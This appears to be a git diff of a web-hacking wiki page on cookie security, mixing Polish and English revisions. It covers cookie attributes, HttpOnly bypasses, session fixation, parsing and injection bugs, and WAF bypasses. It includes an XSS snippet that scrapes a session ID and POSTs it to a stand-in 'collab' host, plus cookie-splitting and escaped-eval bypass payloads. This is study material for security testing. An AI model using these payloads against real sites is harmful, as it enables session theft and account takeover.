- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -4,117 +4,124 @@
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
Cookies mają kilka atrybutów, które kontrolują ich zachowanie w przeglądarce użytkownika. Oto przegląd tych atrybutów w bardziej pasywnej formie:
|
||||
Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice:
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
Data wygaśnięcia ciasteczka jest określona przez atrybut `Expires`. Z kolei atrybut `Max-age` definiuje czas w sekundach, po którym ciasteczko zostanie usunięte. **Wybierz `Max-age`, ponieważ odzwierciedla to nowocześniejsze praktyki.**
|
||||
The expiry date of a cookie is determined by the `Expires` attribute. Conversely, the `Max-age` attribute defines the time in seconds until a cookie is deleted. **Opt for `Max-age` as it reflects more modern practices.**
|
||||
|
||||
### Domain
|
||||
|
||||
Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest to ustawione na hosta, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. Umożliwia to mniej restrykcyjne określenie atrybutu `Domain`, co jest przydatne w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
|
||||
The hosts to receive a cookie are specified by the `Domain` attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the `Domain` attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the `Domain` attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting `Domain=mozilla.org` makes cookies accessible on its subdomains like `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
Atrybut `Path` wskazuje konkretną ścieżkę URL, która musi być obecna w żądanym URL, aby nagłówek `Cookie` został wysłany. Atrybut ten traktuje znak `/` jako separator katalogów, co pozwala na dopasowania w podkatalogach.
|
||||
A specific URL path that must be present in the requested URL for the `Cookie` header to be sent is indicated by the `Path` attribute. This attribute considers the `/` character as a directory separator, allowing for matches in subdirectories as well.
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
Gdy dwa ciasteczka mają tę samą nazwę, wybór ciasteczka do wysłania opiera się na:
|
||||
When two cookies bear the same name, the one chosen for sending is based on:
|
||||
|
||||
- Ciasteczku pasującym do najdłuższej ścieżki w żądanym URL.
|
||||
- Najnowszym ustawionym ciasteczku, jeśli ścieżki są identyczne.
|
||||
- The cookie matching the longest path in the requested URL.
|
||||
- The most recently set cookie if the paths are identical.
|
||||
|
||||
### SameSite
|
||||
|
||||
- Atrybut `SameSite` określa, czy ciasteczka są wysyłane w żądaniach pochodzących z domen trzecich. Oferuje trzy ustawienia:
|
||||
- **Strict**: Ogranicza wysyłanie ciasteczka w żądaniach z domen trzecich.
|
||||
- **Lax**: Pozwala na wysyłanie ciasteczka z żądaniami GET inicjowanymi przez strony trzecie.
|
||||
- **None**: Zezwala na wysyłanie ciasteczka z dowolnej domeny trzeciej.
|
||||
- The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
|
||||
- **Strict**: Restricts the cookie from being sent on third-party requests.
|
||||
- **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites.
|
||||
- **None**: Permits the cookie to be sent from any third-party domain.
|
||||
|
||||
Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów może pomóc zapewnić, że będą one działać zgodnie z oczekiwaniami w różnych scenariuszach.
|
||||
Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
| **Typ żądania** | **Przykładowy kod** | **Cookies wysyłane gdy** |
|
||||
| --------------- | --------------------------------- | ----------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/>| NotSet\*, Lax, None |
|
||||
| Formularz GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formularz POST | \<form method="POST" action="...">| NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Obraz | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabela z [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i nieco zmodyfikowana.\
|
||||
Ciasteczko z atrybutem _**SameSite**_ **łagodzi ataki CSRF**, gdzie potrzebna jest zalogowana sesja.
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
|
||||
|
||||
**\*Zauważ, że od Chrome80 (lut/2019) domyślne zachowanie ciasteczka bez atrybutu cookie samesite** **będzie lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Zauważ, że tymczasowo, po zastosowaniu tej zmiany, **ciasteczka bez polityki SameSite** **w Chrome będą** **traktowane jako None** przez **pierwsze 2 minuty, a następnie jako Lax dla głównych żądań POST międzydomenowych.**
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
To uniemożliwia **klientowi** dostęp do ciasteczka (np. za pomocą **Javascript**: `document.cookie`)
|
||||
This avoids the **client** to access the cookie (Via **Javascript** for example: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
- Jeśli strona **wysyła ciasteczka jako odpowiedź** na żądania (na przykład na stronie **PHPinfo**), można wykorzystać XSS, aby wysłać żądanie do tej strony i **ukraść ciasteczka** z odpowiedzi (sprawdź przykład w [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Można to obejść za pomocą żądań **TRACE** **HTTP**, ponieważ odpowiedź z serwera (jeśli ta metoda HTTP jest dostępna) odzwierciedli wysłane ciasteczka. Ta technika nazywa się **Cross-Site Tracking**.
|
||||
- Ta technika jest unika przez **nowoczesne przeglądarki, które nie pozwalają na wysyłanie żądania TRACE** z JS. Jednak w niektórych oprogramowaniach znaleziono obejścia, takie jak wysyłanie `\r\nTRACE` zamiast `TRACE` do IE6.0 SP2.
|
||||
- Innym sposobem jest wykorzystanie luk zero-day w przeglądarkach.
|
||||
- Możliwe jest **nadpisanie ciasteczek HttpOnly** poprzez przeprowadzenie ataku Cookie Jar overflow:
|
||||
- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.
|
||||
- This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2.
|
||||
- Another way is the exploitation of zero/day vulnerabilities of the browsers.
|
||||
- It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- Możliwe jest użycie ataku [**Cookie Smuggling**](#cookie-smuggling) do wykradzenia tych ciasteczek.
|
||||
|
||||
- It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies
|
||||
- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
Żądanie **wyśle** ciasteczko w żądaniu HTTP tylko wtedy, gdy żądanie jest przesyłane przez bezpieczny kanał (zazwyczaj **HTTPS**).
|
||||
Żądanie wyśle ciasteczko **tylko** w żądaniu HTTP, jeśli żądanie jest przesyłane przez bezpieczny kanał (zwykle **HTTPS**).
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
Ciasteczka z prefiksem `__Secure-` muszą być ustawione wraz z flagą `secure` z stron zabezpieczonych przez HTTPS.
|
||||
Cookies prefixed with `__Secure-` muszą być ustawione razem z flagą `secure` na stronach zabezpieczonych przez HTTPS.
|
||||
|
||||
Dla ciasteczek z prefiksem `__Host-` musi być spełnionych kilka warunków:
|
||||
Dla cookies z prefiksem `__Host-` musi być spełnionych kilka warunków:
|
||||
|
||||
- Muszą być ustawione z flagą `secure`.
|
||||
- Muszą pochodzić z strony zabezpieczonej przez HTTPS.
|
||||
- Nie mogą określać domeny, co uniemożliwia ich przesyłanie do subdomen.
|
||||
- Ścieżka dla tych ciasteczek musi być ustawiona na `/`.
|
||||
- Muszą pochodzić ze strony zabezpieczonej przez HTTPS.
|
||||
- Nie wolno im określać domeny, co zapobiega ich przesyłaniu do subdomen.
|
||||
- Ścieżka dla tych cookies musi być ustawiona na `/`.
|
||||
|
||||
Ważne jest, aby zauważyć, że ciasteczka z prefiksem `__Host-` nie mogą być wysyłane do superdomen ani subdomen. To ograniczenie pomaga w izolacji ciasteczek aplikacji. Dlatego stosowanie prefiksu `__Host-` dla wszystkich ciasteczek aplikacji można uznać za dobrą praktykę w celu zwiększenia bezpieczeństwa i izolacji.
|
||||
Ważne jest, że cookies z prefiksem `__Host-` nie mogą być wysyłane do superdomen ani subdomen. To ograniczenie pomaga izolować ciasteczka aplikacji. Dlatego stosowanie prefiksu `__Host-` dla wszystkich cookies aplikacji można uznać za dobrą praktykę zwiększającą bezpieczeństwo i izolację.
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
Jedną z ochron prefiksowanych ciasteczek `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomeny, oszukując parsera, na przykład, dodając "=" na początku lub na końcu...:
|
||||
Jednym z zabezpieczeń cookies z prefiksem `__Host-` jest uniemożliwienie ich nadpisania z subdomen. Zapobiega to na przykład [**Cookie Tossing attacks**](cookie-tossing.md). W prezentacji [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) pokazano, że możliwe było ustawienie \_\_HOST- prefixed cookies z subdomeny, oszukując parser, na przykład dodając "=" na początku lub na początku i na końcu...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Lub w PHP możliwe było dodanie **innych znaków na początku** nazwy ciasteczka, które miały być **zastąpione znakami podkreślenia**, co pozwalało na nadpisanie ciasteczek `__HOST-`:
|
||||
Albo w PHP możliwe było dodanie **innych znaków na początku** nazwy cookie, które miały być następnie **zastąpione znakami podkreślenia**, co pozwalało nadpisać `__HOST-` cookies:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
Jeśli niestandardowe ciasteczko zawiera wrażliwe dane, sprawdź je (szczególnie jeśli bierzesz udział w CTF), ponieważ może być podatne.
|
||||
Jeśli niestandardowe cookie zawiera wrażliwe dane, sprawdź je (szczególnie jeśli bierzesz udział w CTF), ponieważ może być podatne.
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Wrażliwe dane osadzone w ciasteczkach powinny być zawsze dokładnie sprawdzane. Ciasteczka zakodowane w Base64 lub podobnych formatach można często dekodować. Ta luka pozwala atakującym na modyfikację zawartości ciasteczka i podszywanie się pod innych użytkowników, kodując ich zmodyfikowane dane z powrotem do ciasteczka.
|
||||
Wrażliwe dane osadzone w cookies zawsze powinny być przeanalizowane. Cookies kodowane w Base64 lub podobnych formatach często można zdekodować. Ta podatność pozwala atakującym zmodyfikować zawartość cookie i podszyć się pod innych użytkowników, ponownie kodując zmienione dane do cookie.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Ten atak polega na kradzieży ciasteczka użytkownika, aby uzyskać nieautoryzowany dostęp do jego konta w aplikacji. Używając skradzionego ciasteczka, atakujący może podszyć się pod prawdziwego użytkownika.
|
||||
Ten atak polega na kradzieży cookie użytkownika w celu uzyskania nieautoryzowanego dostępu do jego konta w aplikacji. Używając skradzionego cookie, atakujący może podszyć się pod prawowitego użytkownika.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
W tym scenariuszu atakujący oszukuje ofiarę, aby użyła konkretnego ciasteczka do logowania. Jeśli aplikacja nie przypisuje nowego ciasteczka po zalogowaniu, atakujący, posiadający oryginalne ciasteczko, może podszyć się pod ofiarę. Ta technika polega na tym, że ofiara loguje się za pomocą ciasteczka dostarczonego przez atakującego.
|
||||
W tym scenariuszu atakujący nakłania ofiarę do użycia konkretnego cookie do zalogowania się. Jeśli aplikacja nie przypisze nowego cookie po logowaniu, atakujący, posiadając oryginalne cookie, może podszyć się pod ofiarę. Technika ta opiera się na tym, że ofiara loguje się przy użyciu cookie dostarczonego przez atakującego.
|
||||
|
||||
Jeśli znalazłeś **XSS w subdomenie** lub **kontrolujesz subdomenę**, przeczytaj:
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -123,9 +130,9 @@ cookie-tossing.md
|
||||
|
||||
### Session Donation
|
||||
|
||||
Tutaj atakujący przekonuje ofiarę do użycia ciasteczka sesyjnego atakującego. Ofiara, wierząc, że jest zalogowana na swoje konto, nieświadomie wykonuje działania w kontekście konta atakującego.
|
||||
Tutaj atakujący przekonuje ofiarę do użycia cookie sesji atakującego. Ofiara, sądząc, że jest zalogowana na własne konto, nieumyślnie wykona działania w kontekście konta atakującego.
|
||||
|
||||
Jeśli znalazłeś **XSS w subdomenie** lub **kontrolujesz subdomenę**, przeczytaj:
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -134,23 +141,23 @@ cookie-tossing.md
|
||||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Kliknij na poprzedni link, aby uzyskać dostęp do strony wyjaśniającej możliwe luki w JWT.
|
||||
Click on the previous link to access a page explaining possible flaws in JWT.
|
||||
|
||||
JSON Web Tokens (JWT) używane w ciasteczkach mogą również przedstawiać luki. Aby uzyskać szczegółowe informacje na temat potencjalnych luk i sposobów ich wykorzystania, zaleca się dostęp do powiązanego dokumentu dotyczącego hakowania JWT.
|
||||
JSON Web Tokens (JWT) używane w cookies mogą również zawierać podatności. Aby uzyskać szczegółowe informacje o potencjalnych lukach i sposobach ich wykorzystania, zaleca się zapoznanie się z podlinkowanyym dokumentem dotyczącym JWT.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Ten atak zmusza zalogowanego użytkownika do wykonywania niechcianych działań w aplikacji internetowej, w której jest aktualnie uwierzytelniony. Atakujący mogą wykorzystać ciasteczka, które są automatycznie wysyłane z każdym żądaniem do podatnej witryny.
|
||||
Ten atak zmusza zalogowanego użytkownika do wykonania niechcianych akcji w aplikacji webowej, w której jest aktualnie uwierzytelniony. Atakujący mogą wykorzystać cookies, które są automatycznie wysyłane z każdym żądaniem do podatnej strony.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(Sprawdź dalsze szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Przeglądarki pozwalają na tworzenie ciasteczek bez nazwy, co można zademonstrować za pomocą JavaScript w następujący sposób:
|
||||
(Sprawdź szczegóły w [original research](https://blog.ankursundara.com/cookie-bugs/)) Przeglądarki pozwalają na tworzenie cookies bez nazwy, co można zademonstrować w JavaScripcie w następujący sposób:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Wynik w nagłówku cookie wysłanym to `a=v1; test value; b=v2;`. Intrygująco, umożliwia to manipulację cookie, jeśli ustawione jest cookie o pustej nazwie, potencjalnie kontrolując inne cookie poprzez ustawienie pustego cookie na określoną wartość:
|
||||
Rezultatem w wysyłanym nagłówku cookie jest `a=v1; test value; b=v2;`. Co ciekawe, umożliwia to manipulację cookies, jeśli ustawione zostanie cookie o pustej nazwie, potencjalnie pozwalając kontrolować inne cookies przez ustawienie pustego cookie na konkretną wartość:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -158,49 +165,49 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
To prowadzi do tego, że przeglądarka wysyła nagłówek cookie interpretowany przez każdy serwer WWW jako cookie o nazwie `a` z wartością `b`.
|
||||
To powoduje, że przeglądarka wysyła nagłówek cookie interpretowany przez każdy serwer WWW jako cookie o nazwie `a` i wartości `b`.
|
||||
|
||||
#### Błąd Chrome: Problem z kodem zastępczym Unicode
|
||||
#### Chrome — błąd: problem ze zastępczym punktem kodowym Unicode
|
||||
|
||||
W Chrome, jeśli kod zastępczy Unicode jest częścią ustawionego cookie, `document.cookie` staje się uszkodzone, zwracając pusty ciąg w następstwie:
|
||||
W Chrome, jeśli zastępczy punkt kodowy Unicode jest częścią set cookie, `document.cookie` ulega uszkodzeniu i w konsekwencji zwraca pusty ciąg znaków:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
To skutkuje tym, że `document.cookie` zwraca pusty ciąg, co wskazuje na trwałe uszkodzenie.
|
||||
To powoduje, że `document.cookie` zwraca pusty ciąg, co wskazuje na trwałe uszkodzenie.
|
||||
|
||||
#### Przemyt ciasteczek z powodu problemów z analizą
|
||||
#### Cookie Smuggling z powodu problemów z parsowaniem
|
||||
|
||||
(Zobacz szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Kilka serwerów internetowych, w tym te z Javy (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), niewłaściwie obsługuje ciągi ciasteczek z powodu przestarzałego wsparcia dla RFC2965. Odczytują podwójnie cytowaną wartość ciasteczka jako jedną wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:
|
||||
(Sprawdź dalsze szczegóły w the[original research](https://blog.ankursundara.com/cookie-bugs/)) Kilka serwerów WWW, w tym od Java (Jetty, TomCat, Undertow) i Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), nieprawidłowo obsługują ciągi cookie z powodu przestarzałego wsparcia RFC2965. Odczytują wartość cookie zawartą w podwójnym cudzysłowie jako pojedynczą wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Luki w Iniekcji Ciasteczek
|
||||
#### Luki związane z Cookie Injection
|
||||
|
||||
(Sprawdź szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe analizowanie ciasteczek przez serwery, szczególnie Undertow, Zope oraz te korzystające z `http.cookie.SimpleCookie` i `http.cookie.BaseCookie` w Pythonie, stwarza możliwości ataków iniekcji ciasteczek. Serwery te nieprawidłowo delimitują początek nowych ciasteczek, co pozwala atakującym na fałszowanie ciasteczek:
|
||||
(Sprawdź szczegóły w[original research](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe parsowanie cookie przez serwery, w szczególności Undertow, Zope, oraz tych korzystających z Pythona `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stwarza możliwości ataków typu cookie injection. Te serwery nie rozgraniczają prawidłowo początku nowych cookie, co pozwala atakującym na podszywanie się pod cookie:
|
||||
|
||||
- Undertow oczekuje nowego ciasteczka natychmiast po wartości w cudzysłowie bez średnika.
|
||||
- Zope szuka przecinka, aby rozpocząć analizowanie następnego ciasteczka.
|
||||
- Klasy ciasteczek Pythona zaczynają analizowanie od znaku spacji.
|
||||
- Undertow oczekuje nowego cookie bezpośrednio po cytowanej wartości bez średnika.
|
||||
- Zope szuka przecinka, aby rozpocząć parsowanie następnego cookie.
|
||||
- Klasy cookie w Pythonie zaczynają parsowanie od znaku spacji.
|
||||
|
||||
Ta luka jest szczególnie niebezpieczna w aplikacjach webowych polegających na ochronie CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie fałszywych ciasteczek z tokenami CSRF, co potencjalnie omija środki bezpieczeństwa. Problem ten jest zaostrzony przez sposób, w jaki Python obsługuje duplikaty nazw ciasteczek, gdzie ostatnie wystąpienie nadpisuje wcześniejsze. Budzi to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach i może prowadzić do obejść autoryzacji, gdy ciasteczka są przekazywane do serwerów zaplecza podatnych na fałszowanie.
|
||||
Ta luka jest szczególnie niebezpieczna w aplikacjach webowych polegających na ochronie CSRF opierającej się na cookie, ponieważ pozwala atakującym na wstrzyknięcie sfałszowanych CSRF-token cookie, co może prowadzić do obejścia zabezpieczeń. Problem pogłębia sposób, w jaki Python obsługuje duplikaty nazw cookie — ostatnie wystąpienie nadpisuje wcześniejsze. Budzi to również obawy dotyczące `__Secure-` i `__Host-` cookie w niebezpiecznych kontekstach i może prowadzić do obejścia autoryzacji, gdy cookie są przekazywane do back-endowych serwerów podatnych na spoofing.
|
||||
|
||||
### Ciasteczka $version
|
||||
### Cookies $version
|
||||
|
||||
#### Obejście WAF
|
||||
#### WAF Bypass
|
||||
|
||||
Zgodnie z [**tym wpisem na blogu**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), możliwe jest użycie atrybutu ciasteczka **`$Version=1`**, aby backend używał starej logiki do analizy ciasteczka zgodnie z **RFC2109**. Ponadto, inne wartości takie jak **`$Domain`** i **`$Path`** mogą być używane do modyfikacji zachowania backendu z ciasteczkiem.
|
||||
Zgodnie z [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), możliwe jest użycie atrybutu cookie **`$Version=1`** w celu zmuszenia backendu do użycia starej logiki parsowania cookie wynikającej z **RFC2109**. Ponadto inne wartości, takie jak **`$Domain`** i **`$Path`**, mogą być użyte do modyfikacji zachowania backendu poprzez cookie.
|
||||
|
||||
#### Atak Ciasteczkowy Sandwich
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
Zgodnie z [**tym wpisem na blogu**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), możliwe jest użycie techniki ciasteczkowego sandwichu do kradzieży ciasteczek HttpOnly. Oto wymagania i kroki:
|
||||
Zgodnie z [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) możliwe jest użycie techniki cookie sandwich do kradzieży HttpOnly cookie. Oto wymagania i kroki:
|
||||
|
||||
- Znajdź miejsce, w którym pozornie bezużyteczne **ciasteczko jest odzwierciedlane w odpowiedzi**
|
||||
- **Utwórz ciasteczko o nazwie `$Version`** z wartością `1` (możesz to zrobić w ataku XSS z JS) z bardziej specyficzną ścieżką, aby zajęło początkową pozycję (niektóre frameworki, takie jak Python, nie wymagają tego kroku)
|
||||
- **Utwórz ciasteczko, które jest odzwierciedlane** z wartością, która pozostawia **otwarte podwójne cudzysłowy** i z określoną ścieżką, aby było umiejscowione w bazie ciasteczek po poprzednim (`$Version`)
|
||||
- Następnie, legalne ciasteczko będzie następne w kolejności
|
||||
- **Utwórz fałszywe ciasteczko, które zamyka podwójne cudzysłowy** wewnątrz swojej wartości
|
||||
- Znajdź miejsce, gdzie pozornie bezużyteczny **cookie jest odzwierciedlany w odpowiedzi**
|
||||
- **Utwórz cookie o nazwie `$Version`** o wartości `1` (możesz to zrobić w ataku XSS z JS) z bardziej specyficzną ścieżką, aby uzyskał początkową pozycję (niektóre frameworki, jak Python, nie potrzebują tego kroku)
|
||||
- **Utwórz cookie, które jest odzwierciedlane** z wartością pozostawiającą **otwarte podwójne cudzysłowy** i ze specyficzną ścieżką, tak aby było umieszczone w cookie db po poprzednim (`$Version`)
|
||||
- Następnie prawidłowe cookie znajdzie się dalej w kolejności
|
||||
- **Utwórz fałszywe cookie, które zamyka podwójne cudzysłowy** w swojej wartości
|
||||
|
||||
W ten sposób ciasteczko ofiary zostaje uwięzione wewnątrz nowego ciasteczka wersji 1 i będzie odzwierciedlane, gdy tylko zostanie odzwierciedlone.
|
||||
W ten sposób cookie ofiary zostaje uwięzione wewnątrz nowego cookie wersji 1 i będzie odzwierciedlane za każdym razem, gdy jest odzwierciedlane.
|
||||
np. z posta:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
@ -216,52 +223,52 @@ Sprawdź poprzednią sekcję.
|
||||
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
To parsowanie wskazuje na usunięcie znaków ucieczki z wartości wewnątrz ciasteczek, więc "\a" staje się "a". Może to być przydatne do obejścia WAFS, ponieważ:
|
||||
To parsowanie powoduje usunięcie escape'ów z wartości wewnątrz cookies, więc "\a" staje się "a". To może być przydatne do ominięcia WAFS, np.:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
W RFC2109 wskazano, że **przecinek może być użyty jako separator między wartościami ciasteczek**. Możliwe jest również dodanie **spacji i tabulatorów przed i po znaku równości**. Dlatego ciasteczko takie jak `$Version=1; foo=bar, abc = qux` nie generuje ciasteczka `"foo":"bar, admin = qux"`, ale ciasteczka `foo":"bar"` i `"admin":"qux"`. Zauważ, jak generowane są 2 ciasteczka i jak usunięto spację przed i po znaku równości.
|
||||
W RFC2109 wskazano, że **przecinek może być użyty jako separator między wartościami cookie**. Możliwe jest też dodanie **spacji i tabów przed i po znaku równości**. Dlatego cookie takie jak `$Version=1; foo=bar, abc = qux` nie wygeneruje cookie `"foo":"bar, admin = qux"` ale cookies `foo":"bar"` i `"admin":"qux"`. Zauważ, że wygenerowano 2 cookies i że admin stracił spację przed i po znaku równości.
|
||||
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Na koniec różne backdoory mogą łączyć w jeden ciąg różne ciasteczka przekazywane w różnych nagłówkach ciasteczek, jak w:
|
||||
Na koniec różne backdoors mogą połączyć w jednym stringu różne cookies przesłane w różnych cookie headers, jak w:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Cookie: param1=value1;
|
||||
Cookie: param2=value2;
|
||||
```
|
||||
Co mogłoby pozwolić na ominięcie WAF, jak w tym przykładzie:
|
||||
Co mogłoby pozwolić na obejście WAF, jak w tym przykładzie:
|
||||
```
|
||||
Cookie: name=eval('test//
|
||||
Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Dodatkowe kontrole podatnych ciasteczek
|
||||
### Dodatkowe sprawdzenia podatnych Cookies
|
||||
|
||||
#### **Podstawowe kontrole**
|
||||
#### **Podstawowe sprawdzenia**
|
||||
|
||||
